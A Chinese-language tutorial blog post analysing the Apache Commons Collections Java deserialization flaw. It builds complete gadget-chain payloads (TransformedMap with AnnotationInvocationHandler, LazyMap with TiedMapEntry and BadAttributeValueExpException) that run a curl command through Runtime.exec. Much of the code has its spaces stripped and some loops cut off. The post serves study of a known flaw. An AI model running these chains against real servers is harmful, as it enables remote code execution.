从零开始java代码审计系列(一)

这是第一篇关于代码审计的文章,我目前正在看《PHP代码审计》,书里面写的不错。以后会陆续把我看完之后有意思的知识点或者感受共享给大家。

从php代码审计到java代码审计还是有很大不同的,语言特性,漏洞产生的点等等,很多人都是php入门,同样我也是,但是说实话,java也是必须要掌握的,这里我选择分析一些经典的漏洞来熟悉java的代码审计,如果有理解错误的地方,希望得到师傅们的斧正。

Apache Commons Collections反序列化漏洞

首先利用maven进行自动下载下来包,看/org/apache/commons/collections/functors/InvokerTransformer.class

publicObjecttransform(Objectinput){

if(input==null){

returnnull;

}else{

try{

Classcls=input.getClass;

Methodmethod=cls.getMethod(this.iMethodName,this.iParamTypes);

returnmethod.invoke(input,this.iArgs);

}catch(NoSuchMethodExceptionvar5){

thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' does not exist");

}catch(IllegalAccessExceptionvar6){

thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' cannot be accessed");

}catch(InvocationTargetExceptionvar7){

thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' threw an exception",var7);

}

}

}

这个transform方法里面可以看到有个反射调用return method.invoke(input, this.iArgs);,但是只有这里的话显然并不能RCE

继续看/org/apache/commons/collections/functors/ChainedTransformer.class

publicObjecttransform(Objectobject){

for(inti=0;i

object=this.iTransformers[i].transform(object);

}

returnobject;

}

这里可以看出来是挨个遍历transformer,调用其的transform方法然后返回个object,返回的object继续进入循环,成为下一次调用的参数,怎么通过这里来执行命令呢,来看

publicstaticvoidmain(String[]args)

{

Transformer[]transformers={

newInvokerTransformer("exec",

newClass[]{String.class},

newObject[]{"curl http://127.0.0.1:10000"})

};

TransformertransformerChain=newChainedTransformer(transformers);

transformerChain.transform(Runtime.getRuntime);

}

当传入transformers后进行

public ChainedTransformer(Transformer[] transformers) {

this.iTransformers = transformers;

}

当传入InvokerTransformer后

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {

this.iMethodName = methodName;

this.iParamTypes = paramTypes;

this.iArgs = args;

}

这里都会赋值,然后这里就会调用到

publicObjecttransform(Objectinput){

if(input==null){

returnnull;

}else{

try{

Classcls=input.getClass;

Methodmethod=cls.getMethod(this.iMethodName,this.iParamTypes);

returnmethod.invoke(input,this.iArgs);

}catch(NoSuchMethodExceptionvar5){

thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' does not exist");

}catch(IllegalAccessExceptionvar6){

thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' cannot be accessed");

}catch(InvocationTargetExceptionvar7){

thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' threw an exception",var7);

}

}

}

return method.invoke(Runtime.getRuntime, new Object[] {"curl http://127.0.0.1:10000"});

执行命令,但是这是我们构造出来的,环境中不可能有transformerChain.transform(Runtime.getRuntime);

这样的操作,我们可以在/org/apache/commons/collections/functors/ConstantTransformer.class找到

public ConstantTransformer(Object constantToReturn) {

this.iConstant = constantToReturn;

}

public Object transform(Object input) {

return this.iConstant;

}

传入了个Object对象,然后transform方法原样返回,看代码

importorg.apache.commons.collections.Transformer;

importorg.apache.commons.collections.functors.InvokerTransformer;

importorg.apache.commons.collections.functors.ChainedTransformer;

importorg.apache.commons.collections.functors.ConstantTransformer;

importjava.lang.reflect.InvocationTargetException;

importjava.lang.reflect.Method;

publicclasstest{

publicstaticvoidmain(String[]args)

{

Transformer[]transformers={

newConstantTransformer(Runtime.getRuntime),

newInvokerTransformer("exec",

newClass[]{String.class},

newObject[]{"curl http://127.0.0.1:10000"})

};

TransformertransformerChain=newtest2(transformers);

transformerChain.transform("aa");

}

}

classtest2implementsTransformer{

privatefinalTransformer[]iTransformers;

publictest2(Transformer[]transformers){this.iTransformers=transformers;}

publicObjecttransform(Objectobject){

for(inti=0;i

System.out.println(object.getClass);

object=this.iTransformers[i].transform(object);

}

returnobject;

}

}

这里我将ChainedTransformer类重写了一些,方便观察调试。

因为在ConstantTransformer中,调用transform方法时不管输入什么都不会影响返回,所以,随意输入即可。

那么能否直接这样构造进行序列化呢,编写代码试试

importorg.apache.commons.collections.Transformer;

importorg.apache.commons.collections.functors.InvokerTransformer;

importorg.apache.commons.collections.functors.ChainedTransformer;

importorg.apache.commons.collections.functors.ConstantTransformer;

importjava.io.*;

importjava.lang.reflect.InvocationTargetException;

importjava.lang.reflect.Method;

publicclasstest{

publicstaticvoidmain(String[]args)

{

Transformer[]transformers={

newConstantTransformer(Runtime.getRuntime),

newInvokerTransformer("exec",

newClass[]{String.class},

newObject[]{"curl http://127.0.0.1:10000"})

};

TransformertransformerChain=newtest2(transformers);

try{

Filef=newFile("expobject");

ObjectOutputStreamout=newObjectOutputStream(newFileOutputStream(f));

out.writeObject(transformerChain);

out.flush;

out.close;

}catch(IOExceptione){

e.printStackTrace;

}

try{

FileInputStreamf=newFileInputStream("expobject");

ObjectInputStreamoin=newObjectInputStream(f);

Transformerexpobject=(Transformer)oin.readObject;

expobject.transform("cc");

System.out.println(expobject.getClass);

}

catch(FileNotFoundExceptione){

e.printStackTrace;

}catch(ClassNotFoundExceptione){

e.printStackTrace;

}catch(IOExceptione){

e.printStackTrace;

}

}

}

classtest2implementsTransformer,Serializable{

privatefinalTransformer[]iTransformers;

publictest2(Transformer[]transformers){this.iTransformers=transformers;}

publicObjecttransform(Objectobject){

for(inti=0;i

System.out.println(object.getClass);

object=this.iTransformers[i].transform(object);

}

returnobject;

}

}

Runtime不允许序列化,那么我们继续修改

importorg.apache.commons.collections.Transformer;

importorg.apache.commons.collections.functors.InvokerTransformer;

importorg.apache.commons.collections.functors.ChainedTransformer;

importorg.apache.commons.collections.functors.ConstantTransformer;

importjava.io.*;

importjava.lang.reflect.InvocationTargetException;

importjava.lang.reflect.Method;

publicclasstest{

publicstaticvoidmain(String[]args)

{

Transformer[]transformers={

newConstantTransformer(Runtime.class),

newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),

newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),

newInvokerTransformer("exec",

newClass[]{String.class},

newObject[]{"curl http://127.0.0.1:10000"})

};

TransformertransformerChain=newtest2(transformers);

try{

Filef=newFile("expobject");

ObjectOutputStreamout=newObjectOutputStream(newFileOutputStream(f));

out.writeObject(transformerChain);

out.flush;

out.close;

}catch(IOExceptione){

e.printStackTrace;

}

try{

FileInputStreamf=newFileInputStream("expobject");

ObjectInputStreamoin=newObjectInputStream(f);

Transformerexpobject=(Transformer)oin.readObject;

expobject.transform("cc");

System.out.println(expobject.getClass);

}

catch(FileNotFoundExceptione){

e.printStackTrace;

}catch(ClassNotFoundExceptione){

e.printStackTrace;

}catch(IOExceptione){

e.printStackTrace;

}

}

}

classtest2implementsTransformer,Serializable{

privatefinalTransformer[]iTransformers;

publictest2(Transformer[]transformers){this.iTransformers=transformers;}

publicObjecttransform(Objectobject){

for(inti=0;i

System.out.println(object.getClass);

object=this.iTransformers[i].transform(object);

}

returnobject;

}

}

整个调用链是

((Runtime) Runtime.class.getMethod("getRuntime").invoke).exec("curl http://127.0.0.1:10000")

简单整理下调用,不然不是很好理解

object = ConstantTransformer.transform("cc");

public Object transform(Object input) {

return Runtime.class;

}

object = InvokerTransformer.transform(Runtime.class);

Class cls = Runtime.class.getClass;

Method method = cls.getMethod("getMethod", this.iParamTypes);

return method.invoke("Runtime.class", "getRuntime");

object = InvokerTransformer.transform(Runtime.class.getMethod("getRuntime"));

Class cls = Runtime.class.getMethod("getRuntime").getMethod("getRuntime").getClass;

Method method = cls.getMethod("invoke", this.iParamTypes);

return method.invoke(Runtime.class.getMethod("getRuntime"), "getRuntime");

object = InvokerTransformer.transform(Runtime.class.getMethod("getRuntime").invoke);

Class cls = Runtime.class.getMethod("getRuntime").invoke.getMethod("getRuntime").getClass;

Method method = cls.getMethod("exec", this.iParamTypes);

return method.invoke(Runtime.class.getMethod("getRuntime").invoke, "curl http://127.0.0.1:10000");

代码执行部分已经分析的差不多了,但是哪里有合适的构造点呢,根据网上的,我们来分析一下

攻击链(一)

我们来看/org/apache/commons/collections/map/TransformedMap.class

protected Object transformValue(Object object) {

return this.valueTransformer == null ? object : this.valueTransformer.transform(object);

}

valueTransformer可控即可利用我们上面的调用链,

protectedTransformedMap(Mapmap,TransformerkeyTransformer,TransformervalueTransformer){

super(map);

this.keyTransformer=keyTransformer;

this.valueTransformer=valueTransformer;

}

当我们初始化的时候是可以控制的,怎么触发呢,继续看

public Object put(Object key, Object value) {

key = this.transformKey(key);

value = this.transformValue(value);

return this.getMap.put(key, value);

}

当进入put方法的时候会触发,根据上面的调用链我们之后value是可以任意值的,修改代码

publicstaticvoidmain(String[]args)

{

Transformer[]transformers={

newConstantTransformer(Runtime.class),

newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),

newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),

newInvokerTransformer("exec",

newClass[]{String.class},

newObject[]{"curl http://127.0.0.1:10000"})

};

TransformertransformerChain=newChainedTransformer(transformers);

Mapmap=newHashMap;

Maptransformedmap=TransformedMap.decorate(map,null,transformerChain);

transformedmap.put("1","2");

这样我们即可进行命令执行。

然后我们要想实现反序列化RCE还需要找个重写readObject的地方,而且还需要有对Map的操作。

但是我并没有找到有对map执行put的操作

这里还有一处可以实现一样的效果,这里的实现原理跟put那是一样的

protectedObjectcheckSetValue(Objectvalue){

returnthis.valueTransformer.transform(value);

}

什么时候会调用到checkSetValue

在它所继承的父类AbstractInputCheckedMapDecorator中

static class MapEntry extends AbstractMapEntryDecorator {

private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {

super(entry);

this.parent = parent;

}

public Object setValue(Object value) {

value = this.parent.checkSetValue(value);

return super.entry.setValue(value);

}

}

有个MapEntry的内部类,这里面实现了setValue,并且会触发checkSetValue,然后我们需要找一个readObject中有对map执行setValue的操作。

在jdk小于1.7的时候/reflect/annotation/AnnotationInvocationHandler.class中,readObject中有对map的修改功能,这里我下载了jdk1.7来看下

privatevoidreadObject(java.io.ObjectInputStreams)

throwsjava.io.IOException,ClassNotFoundException{

s.defaultReadObject;

// Check to make sure that types have not evolved incompatibly

AnnotationTypeannotationType=null;

try{

annotationType=AnnotationType.getInstance(type);

}catch(IllegalArgumentExceptione){

// Class is no longer an annotation type; all bets are off

return;

}

Map>memberTypes=annotationType.memberTypes;

for(Map.EntrymemberValue:memberValues.entrySet){

Stringname=memberValue.getKey;

ClassmemberType=memberTypes.get(name);

if(memberType!=null){// i.e. member still exists

Objectvalue=memberValue.getValue;

if(!(memberType.isInstance(value)||

valueinstanceofExceptionProxy)){

memberValue.setValue(

newAnnotationTypeMismatchExceptionProxy(

value.getClass+"["+value+"]").setMember(

annotationType.members.get(name)));

}

}

}

我们先看下payload触发的调用堆栈

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.map.HashedMap;

import org.apache.commons.collections.map.TransformedMap;

import java.io.*;

import java.util.HashMap;

import java.lang.reflect.Constructor;

import java.util.Map;

import java.lang.reflect.InvocationTargetException;

import java.lang.reflect.Method;

public class test implements Serializable{

public static void main(String[] args) throws Exception

{

Transformer[] transformers = {

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),

new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),

new InvokerTransformer("exec",

new Class[] {String.class },

new Object[] {"curl http://127.0.0.1:10000"})

};

Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap;

map.put("value", "2");

Map transformedmap = TransformedMap.decorate(map, null, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);

cons.setAccessible(true);

Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);

ByteArrayOutputStream exp = new ByteArrayOutputStream;

ObjectOutputStream oos = new ObjectOutputStream(exp);

oos.writeObject(ins);

oos.flush;

oos.close;

ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray);

ObjectInputStream ois = new ObjectInputStream(out);

Object obj = (Object) ois.readObject;

}

}

可以看到通过构造payload将构造的map成功传到var2,继续跟到readObject来看一下

首先是获取了java.lang.annotation.Retention的实例,然后跟进到memberTypes方法

会返回一个map,继续往下走到Iterator var4 = this.memberValues.entrySet.iterator;

this.memberValues=TransformedMap对象,然后调用其父类的entrySet方法

通过这里我们可以知道为什么key一定要为valuevar7这个变量获取到java.lang.annotation.RetentionPolicy

然后是判断两个是否是实例的判断,然后进入到

然后这里就调用到了

static class MapEntry extends AbstractMapEntryDecorator {

private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {

super(entry);

this.parent = parent;

}

public Object setValue(Object value) {

value = this.parent.checkSetValue(value);

return super.entry.setValue(value);

}

}

进入checkSetValue,也就是可以触发的地方,来看

攻击链一种的触发操作在jdk1.8是不存在的,那么我们来分析下jdk1.8中的攻击链,

transform可控的地方,

public Object get(Object key) {

if (!super.map.containsKey(key)) {

Object value = this.factory.transform(key);

super.map.put(key, value);

return value;

} else {

return super.map.get(key);

}

}

首先,map中如果不包含这个key那么就可以进入transform,并且可以看到factory也是我们可控的

protected LazyMap(Map map, Transformer factory) {

super(map);

if (factory == null) {

throw new IllegalArgumentException("Factory must not be null");

} else {

this.factory = factory;

}

}

factory为transformerChain对象即可触发,key的值没啥影响

那么什么时候会调用get方法呢,可以找到/org/apache/commons/collections/keyvalue/TiedMapEntry.class

public Object getValue {

return this.map.get(this.key);

}

public String toString {

return this.getKey + "=" + this.getValue;

}

在toString方法中会调用,那么java中的toString什么时候调用呢

这里的toString方法的作用其实跟php的是差不多的

现在我们我还差一步,就是哪里可以触发这个toString进而触发getValue呢

来看/javax/management/BadAttributeValueExpException.java中的readObject方法

privatevoidreadObject(ObjectInputStreamois)throwsIOException,ClassNotFoundException{

ObjectInputStream.GetFieldgf=ois.readFields;

ObjectvalObj=gf.get("val",null);

if(valObj==null){

val=null;

}elseif(valObjinstanceofString){

val=valObj;

}elseif(System.getSecurityManager==null

||valObjinstanceofLong

||valObjinstanceofInteger

||valObjinstanceofFloat

||valObjinstanceofDouble

||valObjinstanceofByte

||valObjinstanceofShort

||valObjinstanceofBoolean){

val=valObj.toString;

}else{// the serialized object is from a version without JDK-8019292 fix

val=System.identityHashCode(valObj)+"@"+valObj.getClass.getName;

}

}

setSecurityManager0的操作,也就是说在System.getSecurityManager会返回null,那么就会触发toString,然后我们只要让val个变量的值为TiedMapEntry对象即可触发,因为这里是个私有变量,所以我们通过反射所有变量来赋值,那么整个攻击链就构造完成了。

importorg.apache.commons.collections.Transformer;

importorg.apache.commons.collections.functors.InvokerTransformer;

importorg.apache.commons.collections.functors.ChainedTransformer;

importorg.apache.commons.collections.functors.ConstantTransformer;

importorg.apache.commons.collections.map.HashedMap;

importorg.apache.commons.collections.map.TransformedMap;

importjava.io.*;

importjava.util.HashMap;

importorg.apache.commons.collections.map.LazyMap;

importorg.apache.commons.collections.keyvalue.TiedMapEntry;

importjavax.management.BadAttributeValueExpException;

importjava.lang.reflect.Field;

importjava.lang.reflect.Constructor;

importjava.util.Map;

importjava.lang.reflect.InvocationTargetException;

importjava.lang.reflect.Method;

publicclasstestimplementsSerializable{

publicstaticvoidmain(String[]args)throwsException

{

Transformer[]transformers={

newConstantTransformer(Runtime.class),

newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),

newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),

newInvokerTransformer("exec",

newClass[]{String.class},

newObject[]{"curl http://127.0.0.1:10000"})

};

TransformertransformerChain=newChainedTransformer(transformers);

MapinnerMap=newHashMap;

MaplazyMap=LazyMap.decorate(innerMap,transformerChain);

TiedMapEntryentry=newTiedMapEntry(lazyMap,"foo");

BadAttributeValueExpExceptionins=newBadAttributeValueExpException(null);

Fieldvalfield=ins.getClass.getDeclaredField("val");

valfield.setAccessible(true);

valfield.set(ins,entry);

ByteArrayOutputStreamexp=newByteArrayOutputStream;

ObjectOutputStreamoos=newObjectOutputStream(exp);

oos.writeObject(ins);

oos.flush;

oos.close;

ByteArrayInputStreamout=newByteArrayInputStream(exp.toByteArray);

ObjectInputStreamois=newObjectInputStream(out);

Objectobj=(Object)ois.readObject;

ois.close;

}

}

你可能感兴趣的:(代码审计)